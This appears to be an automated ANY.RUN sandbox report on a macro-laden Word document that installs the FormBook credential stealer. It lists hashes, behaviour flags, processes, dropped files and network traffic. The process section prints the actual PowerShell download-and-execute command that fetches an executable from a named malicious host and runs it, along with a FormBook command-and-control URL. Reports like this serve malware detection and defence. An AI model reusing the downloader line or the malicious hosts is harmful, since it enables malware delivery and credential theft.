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File name:

bd1ea5a86228a93a63041dbb1b7336b34dc27828e1da86d570dec1eaf80418a5.doc

Full analysis: https://app.any.run/tasks/35f1eb4c-891c-4d38-a44d-17ac86d0b03b
Verdict: Malicious activity
Threats:

FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus.

Analysis date: March 21, 2019, 03:18:30
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
loader
trojan
formbook
stealer
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Author: HP PC, Template: Order#0281-17pallet.doc, Last Saved By: HP PC, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Wed Mar 20 08:57:00 2019, Last Saved Time/Date: Wed Mar 20 08:57:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0
MD5:

9AFDF05DC6FB614E5C37BAFA0351E785

SHA1:

08CC487B7C0DBA442F3FD035569602E30EF3824F

SHA256:

BD1EA5A86228A93A63041DBB1B7336B34DC27828E1DA86D570DEC1EAF80418A5

SSDEEP:

6144:tNxvZS3Y/r5E0BLLY5iAB5pxDytvuKTe6dp41H285QutY5WeCJK5b:tXvsOr5rL+iAzGWap41H285QutY5WeC0

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • ffydhvne.exe (PID: 3432)
      • userc8t.exe (PID: 2620)
    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 1844)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 1844)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 1548)
    • Executes PowerShell scripts

      • cmd.exe (PID: 2456)
    • Runs app for hidden code execution

      • explorer.exe (PID: 1696)
    • Connects to CnC server

      • explorer.exe (PID: 1696)
    • FORMBOOK was detected

      • explorer.exe (PID: 1696)
    • Changes the autorun value in the registry

      • cmd.exe (PID: 2856)
    • Formbook was detected

      • cmd.exe (PID: 2856)
    • Actions looks like stealing of personal data

      • cmd.exe (PID: 2856)
    • Stealing of credential data

      • cmd.exe (PID: 2856)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 1548)
      • explorer.exe (PID: 1696)
      • DllHost.exe (PID: 2128)
    • Starts CMD.EXE for commands execution

      • explorer.exe (PID: 1696)
      • cmd.exe (PID: 2856)
    • Creates files in the user directory

      • powershell.exe (PID: 1548)
      • cmd.exe (PID: 2856)
    • Application launched itself

      • cmd.exe (PID: 2856)
    • Loads DLL from Mozilla Firefox

      • cmd.exe (PID: 2856)
    • Creates files in the program directory

      • DllHost.exe (PID: 2128)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 1844)
    • Starts Microsoft Office Application

      • explorer.exe (PID: 1696)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 1844)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (80)

EXIF

FlashPix

CompObjUserType: Microsoft Office Word 97-2003 Document
CompObjUserTypeLen: 39
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 12
CharCountWithSpaces: 1
Paragraphs: 1
Lines: 1
Company: -
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 1
Words: -
Pages: 1
ModifyDate: 2019:03:20 08:57:00
CreateDate: 2019:03:20 08:57:00
TotalEditTime: 1.0 minutes
Software: Microsoft Office Word
RevisionNumber: 2
LastModifiedBy: HP PC
Template: Order#0281-17pallet.doc
Author: HP PC
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
6
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs cmd.exe no specs powershell.exe ffydhvne.exe no specs #FORMBOOK cmd.exe cmd.exe no specs #FORMBOOK explorer.exe Copy/Move/Rename/Delete/Link Object userc8t.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
1844"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\bd1ea5a86228a93a63041dbb1b7336b34dc27828e1da86d570dec1eaf80418a5.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2456cmd /c POwErshEll(New-Object System.Net.WebClient).DownloadFile('http://prescient-inc.com/top/Lesth.exe','%temp%\ffydhvne.exe');start %temp%\ffydhvne.exeC:\Windows\system32\cmd.exeWINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1548POwErshEll (New-Object System.Net.WebClient).DownloadFile('http://prescient-inc.com/top/Lesth.exe','C:\Users\admin\AppData\Local\Temp\ffydhvne.exe');start C:\Users\admin\AppData\Local\Temp\ffydhvne.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3432"C:\Users\admin\AppData\Local\Temp\ffydhvne.exe" C:\Users\admin\AppData\Local\Temp\ffydhvne.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
ChildDlgTest MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2856"C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
4072/c del "C:\Users\admin\AppData\Local\Temp\ffydhvne.exe"C:\Windows\System32\cmd.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1696C:\Windows\Explorer.EXEC:\Windows\explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Explorer
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2128C:\Windows\system32\DllHost.exe /Processid:{3AD05575-8857-4850-9277-11B85BDB8E09}C:\Windows\system32\DllHost.exe
svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
COM Surrogate
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2620"C:\Program Files\Ox4ax6tth\userc8t.exe"C:\Program Files\Ox4ax6tth\userc8t.exeexplorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
ChildDlgTest MFC Application
Version:
1, 0, 0, 1
Total events
1 497
Read events
1 326
Write events
0
Delete events
0

Modification events

No data
Executable files
3
Suspicious files
69
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
1844WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR9AC0.tmp.cvr
MD5:
SHA256:
1548powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\2OYTG81VQGYU3OX1Y9EB.temp
MD5:
SHA256:
1844WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF1A827AA7850534A9.TMP
MD5:
SHA256:
1844WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5704C60F-F484-40D6-BE50-EE0A302842AE}.tmp
MD5:
SHA256:
1844WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{5F64299C-84A5-4683-AE57-5A4617D39C15}.tmp
MD5:
SHA256:
1548powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
1548powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfac06.TMPbinary
MD5:7100C9D54A32DFE02751A9E1BC41F804
SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C
2856cmd.exeC:\Users\admin\AppData\Roaming\O3-9N7-E\O3-logrc.inibinary
MD5:2855A82ECDD565B4D957EC2EE05AED26
SHA256:88E38DA5B12DD96AFD9DC90C79929EC31D8604B1AFDEBDD5A02B19249C08C939
1844WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:A3D37A96BE99E1B37F142EAB31105E77
SHA256:10776DED098C89C43628A733533878C3854AA3666210F1501E5D0D74311EF8F0
1548powershell.exeC:\Users\admin\AppData\Local\Temp\ffydhvne.exeexecutable
MD5:7DDA33F6D9FC6FFDE00B21D97BB5644C
SHA256:2B5B2B7A6F2BAD9D2C68F51E3DF54947863227E0DA2BB908CBBA196C9D8AC69B
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1696
explorer.exe
GET
301
104.28.28.142:80
http://www.taraftarium241.com/ma/?9rr=ozra198NBRIZr0gm3yaAtsQlOeCRG4e+mJua2MSt8bjGVmJ3SAyL8rTM28eLXyqALa53ug==&Otcl=wZ10dx48cnyhHRd
US
html
343 b
shared
1548
powershell.exe
GET
200
103.21.59.25:80
http://prescient-inc.com/top/Lesth.exe
IN
executable
440 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1696
explorer.exe
104.28.28.142:80
www.taraftarium241.com
Cloudflare Inc
US
shared
1548
powershell.exe
103.21.59.25:80
prescient-inc.com
PDR
IN
malicious

DNS requests

Domain
IP
Reputation
prescient-inc.com
  • 103.21.59.25
suspicious
www.taraftarium241.com
  • 104.28.28.142
  • 104.28.29.142
unknown

Threats

PID
Process
Class
Message
1548
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
1548
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
1696
explorer.exe
A Network Trojan was detected
MALWARE [PTsecurity] FormBook CnC Checkin (GET)
1 ETPRO signatures available at the full report
No debug info